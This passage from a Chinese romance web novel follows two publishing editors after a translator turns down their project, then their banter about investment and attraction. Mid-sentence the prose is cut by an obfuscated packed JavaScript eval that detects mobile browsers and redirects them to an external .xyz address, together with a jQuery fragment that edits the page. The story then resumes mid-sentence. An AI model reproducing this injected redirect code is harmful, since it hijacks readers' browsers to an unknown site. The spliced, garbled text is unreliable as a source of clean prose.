这是在跟自己的太太示爱呢！ 许易眼里多了一份满意，但转瞬即逝：“确实如此，所以我不能够接受我的作品出版有任何风险或者问题。换句话说，我比你们之前联系的那位老师要求更为苛刻，眼里更容不得沙子。” 路晚风诚恳道：“上一次的运营事故确实很严重，我们依规开除了犯错的员工，也对他的上级进行了追责。这次之后，我们一定会非常重视后续的合作，绝对不会再出现这样的纰漏。” 前一段时间，壹文的微博美术运营误将没有购买版权的书封P到了即将出版的套书上，而这套书封的原创者也很大来头，当即转发此微博进行声讨，一时间掀起了极大的风浪。 这件事不光壹文出版社声誉大损，还影响到了翻译老师本人的风评。虽然后来壹文发布道歉书，澄清所有，但依旧无法彻底阻止那些流言蜚语，最后在翻译老师的盛怒中解约。 但是出版的所有准备都已就绪，若是此时不按照计划出版，壹文就得承担前面的巨额投资损失。 某种程度上，路晚风来接手的，是一个很烂的摊子。而恰好刚刚版权到期，又知名度足够的“雨路”的翻译版本，是眼下壹文最需要的，能救他们的“香馍馍”。 路晚风的谦卑态度并未获得许易的认可。 “但这件事透露更多的，是你们公司上层骨子里对于我们译者的不重视。若是重视，一定会在发送微博之前，将文字图书一一审核，而不是由着一个普通员工随便编辑发布。” 许易说完，视线停在脸色越发凝重的钰茗身上，欲言又止，最后挥了挥手：“你们走吧。” -- 钰茗在门口和章老师告别。 “钰茗，”女人拉住他的手，“对不起啊，老许就是这么个执拗的性子，我回头再好好和他说说。” 钰茗吸了吸鼻子：“老师您不用道歉的，是我们还不够好。” “不是因为你们不够好，是因为每一本书对他来说，都很特别。” 钰茗了然点头：“每一个文学家都很爱自己的作品，许老师的态度没有问题。” 他笑着鞠了一躬，礼貌告别。 章老师叹了口气，看着他的背影微微摇了摇头。 -- 钰茗走在前面，步子很快。 路晚风盯着他的后脑勺，看了好一会，快走两步，拉住他的手腕。 钰茗猛地停下来：“你来之前为什么不告诉我，雨路和章老师的关系呢？” 路晚风：“我说了，你也许不愿意来了。” 钰茗用力咬了咬嘴唇。 作为编务，公司现下的风波对他影响很小，办公室里大家也都和乐融融的。 但他对这件事很了解，也清楚如果雨路真的同意合作，将会面临什么样的挑战和压力。 “许老师以前帮过我很多，他还给我补过课。” 路晚风挑起眉头：“我也给你补过课。” 钰茗：“……” 那能一样吗？！ 他深吸了一口气，语气沉重：“那你知不知道，雨路老师曾经说过，他翻译的每一本书里，都藏着对爱人的情书？” 路晚风一动不动地看着他，不说话。 “如果我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955998|177612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们把事情弄砸了，就是玷污了他的‘情书’，我要是他，也不会同意这个合作的。” 安静听完，路晚风朗声开口：“但这又何尝不是一种挑战呢？他帮我们渡过困难危机，我们帮他把专属情书投放到世界的所有角落。” “世界的所有角落？” 路晚风一直看着钰茗。 在听到“世界的所有角落”几个字的时候，他的双眼明显亮了，表情也生动起来。 不似之前，满满都是难过和懊恼。 路晚风：“是的，壹文最近在融资准备跨国公司的事情，我上次临时回加国也是因为这件事，若是你的老师能帮我们渡过这次危机，我会劝说总编将他的书放到第一批国外发行的行列里。” 钰茗已经被说服了，但还是没忍住尖锐发言：“你果然骨子里是个商人，做什么事情都讲究利益交换。” 路晚风不置可否，甚至轻笑了一声。 钰茗有时候也不大明白自己什么情况，他是个情绪很稳定的人，平日里极少生气和人争执。 像刚才这句话，他绝对不会和其他人说。 唯独路晚风—— 他好像特别容易跟路晚风较劲。 ——明明他们也没有那么熟的。 “在你眼里风投是什么？”路晚风突然问他。 钰茗学的文科，不懂投行这些，因为赵晨亮也略微了解过这一行业，言简意赅总结：“看好一个项目，投资，然后获得收益。” “那你觉不觉得，出版亦是一种‘风投’？” 钰茗眼露不解。 路晚风勾唇：“我们劝说版权拥有者将版权交于出版公司，通过出版公司宣传包装，最终书籍上市给版权拥有者和出版公司带来双向收益，这和风投算不算殊途同归？” 钰茗第一次听到这样的解释，有些震惊。 稍作细想，禁不住在心里暗暗赞叹路晚风的想法和思路。 这家伙还真是—— 钰茗想了许久，最后盘旋在舌尖的，是“厉害”二字。 他不光这么想了，还这么说了。 “你很厉害。” 路晚风看着钰茗，坦然接受了对方的夸赞。 钰茗有些羡慕：“你这样的人，是不是没有失败过？” 路晚风笑意深沉：“我怎么会没失败过？” 钰茗：“每次听说你的事情，都是各种成功案例，大家可羡慕你了。” 路晚风朝他眨了眨眼。 “因为我会藏啊。” 路晚风稍稍偏头，一/大片日光落入眸中，泛起细碎闪亮的光芒，他就这么看着钰茗，继续说道：“不让别人发现我失败了，就能一次次重整旗鼓，再次出发，直到——” 钰茗被他说的有些激动，心也跟着提了起来：“直到怎么样？” 下一瞬，手臂被紧紧握住。 那些光在路晚风的眼里彻底燃烧了起来。 “直到我彻底得到他。”